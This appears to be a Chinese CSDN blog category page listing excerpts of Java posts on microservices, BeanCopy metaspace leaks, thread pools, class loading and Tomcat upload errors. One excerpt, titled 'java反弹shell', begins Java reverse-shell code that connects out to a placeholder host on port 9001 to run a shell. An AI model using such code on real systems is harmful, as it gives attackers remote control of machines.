
java
文章平均质量分 55
起风哥
这个作者很懒,什么都没留下…
展开
-
微服务框架需要处理哪些问题?
正常情况下数据结构分为特定数据,非特定数据特定数据,比如记录登入相关的信息非特定数据,比如一些业务处理的状态需要流转到下一个服务。原创 2023-01-22 01:26:31 · 2281 阅读 · 0 评论 -
async-excel整合站内信通知用户体验感满满
业务处理类还是该怎么写怎么写,所以我们来讲讲callback中做了什么事情,首先我们判断导出结果是成功还是失败,有没有异常,根据不同的类型我们包装不同的消息内容类型,如果出现异常了我们包装一个纯文本消息,如果导出正常并且有链接我们包装一个下载链接的消息最后通过消息工具类发送广播消息给mq。在回到之前下消息中心我们写了个消费者,监听广播消息,我消费者可能部署多个节点,所以客户端可能连接在不同的节点上,所以消费者在收到消息的时候判断下目标客户端有没有连接在当前节点,如果不存在消息直接丢弃,如果存在则发送出去。原创 2023-01-13 21:06:55 · 1182 阅读 · 0 评论 -
又一个beanCopy引发的血案metaspace溢出
项目频繁发生metaspace溢出,基于相关知识毫不犹豫的想到以下几点项目中使用过多反射项目中使用过多的动态代理技术项目中使用过多的lambda项目启动完成后,框架层面很多东西固定了,运行期间最有可能引起问题的地方无疑是我们大量的使用了beanCopy那么检查项目发现各种方式的beanCopy都有,有apache的BeanUtils,有spring的BeanUtils,有cglib的BeanCopy。并且我们的很多实体都有上百个字段。于是构建相关案例如下:先来对比下spring 中提供的两种原创 2022-03-18 21:40:01 · 2885 阅读 · 1 评论 -
docker+jdk+管道流产生线程变相阻塞死锁
生产出现一个奇葩的问题,某一个应用开发新增了一个异步导出功能,然后提交任务一直是进行中,我让让去检查代码有没有问题,搞了一整天,还是没问题。然后就跟他一起排查这个问题,最先想到的还是业务代码写的有问题,排查了半天终于确定业务代码没问题,然后上生产环境看了下发现生产环境这个项目也出问题了,用的人比较少,所以没人发现。然后开始追朔没人动过这个代码怎么就突然不行了,于是就回退了5个版本终于正常了,然后对比差异,发现,docker容器的基础镜像被人替换了,然后又用jstack 跟踪了下线程发现线程卡在如下代码原创 2022-01-29 16:38:56 · 2381 阅读 · 0 评论 -
java反弹shell
import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;public class Exploit { public Exploit() throws Exception { String host="xx.xx.xx.xx"; int port=9001; String cmd="/bi.原创 2022-01-26 14:40:35 · 2162 阅读 · 0 评论 -
由BeanCopy引发的血案
最近生产环境经常出现mysql 锁等待超时,看了下慢sql,结合相关业务查到两条慢sql,一个是update的一条数据,一个是insert一条数据,表就100万数据,但是这两条语句却执行了20秒左右,第一反映就是这怎么可能。实际就是不可能;于是大胆猜测这两条语句处于一个大的事务内部,由于某些代码性能问题导致事务迟迟不提交,超过了预设的事务超时时间,后来线程可能更新到相同数据,就出现了锁等待超时,这个业务确实很大,整个事务方法代码量可能超过1万行,想靠看代码很难定位问题。索性还有阿里的arthas这工具。原创 2022-01-21 15:01:00 · 716 阅读 · 0 评论 -
一文搞懂Future的作用
我们在一个接口中做了多个事情,但是又需要一个统一返回,并且这些事情没有相关性的时候,我们就可以使用future,比如我一遍煮饭一边炒菜,等饭煮好,菜炒好然后叫大家吃饭。这样的一个场景我们就可以使用future来处理,如果锅只有一个这个就没办法了,只能按顺序执行,饭煮好了锅才能腾出来炒菜哈。用上future有什么好处呢?当然是为了充分利用时间,比如你炒菜5分钟,煮饭10分钟,如果你是顺序执行,那么你就得花15分钟完成这件事,但是如果你并行去做这两件事情却只要10分钟。再举个实际场景得例子,我有一个商品需要原创 2021-11-05 14:55:03 · 844 阅读 · 0 评论 -
java服务端打包成zip文件下载
服务器打包zip文件下载@Controllerpublic class OuputStreamTest { @RequestMapping("/out") public void out(HttpServletResponse response) throws IOException { String path = System.getProperty("user.dir"); File file1 = new File(path + "/src原创 2021-10-26 17:22:19 · 350 阅读 · 0 评论 -
spring项目优雅关闭线程池
ThreadPoolExecutor 介绍java中线程池的三个方法shutdown()、shutdownNow()和awaitTermination()shutdown:拒绝新任务提交到线程池待执行与正在执行的任务继续执行shutdownNow:拒绝提交新任务到线程池取消队列中等待执行的任务尝试取消正在执行任务awaitTermination(long timeOut, TimeUnit unit):阻塞线程等待所有待执行以及正在执行的任务执行完成或者等到超时或者线程被中原创 2020-07-30 18:10:25 · 2079 阅读 · 0 评论 -
java类加载的几种方式
回顾下java基础、很多人可能不知道java中类加载的过程,记得很久以前面试被问过一道面试题如下:Q:类的加载有几种方式?newClass.forName()ClassLoader.loadClass()Q:调用ClassLoader.loadClass()的时候jvm做什么事情?这个时候只是把该类加载到jvm中并对它进行了格式校验,并解析该文件,分配内存并赋值默认值,并且将符号引用替换成直接引用(内存地址)。Q:这个时候再调用Class.forName()做了什么事情?这个时候由原创 2020-06-26 23:28:40 · 1271 阅读 · 0 评论 -
springboot内置tomcat文件上传的坑
如果你能看到这篇文章你应该是报了如下错误The temporary upload location [/tmp/tomcat.7368392676262345132.8080/work/Tomcat/localhost/ROOT] is not valid此错误的特征是刚启动一切都正常,运行几天后就突然间出现,然后各种百度都找不到答案。出现这个错误的原因是tomcat 默认临时文件目录...原创 2019-10-22 16:08:17 · 9122 阅读 · 0 评论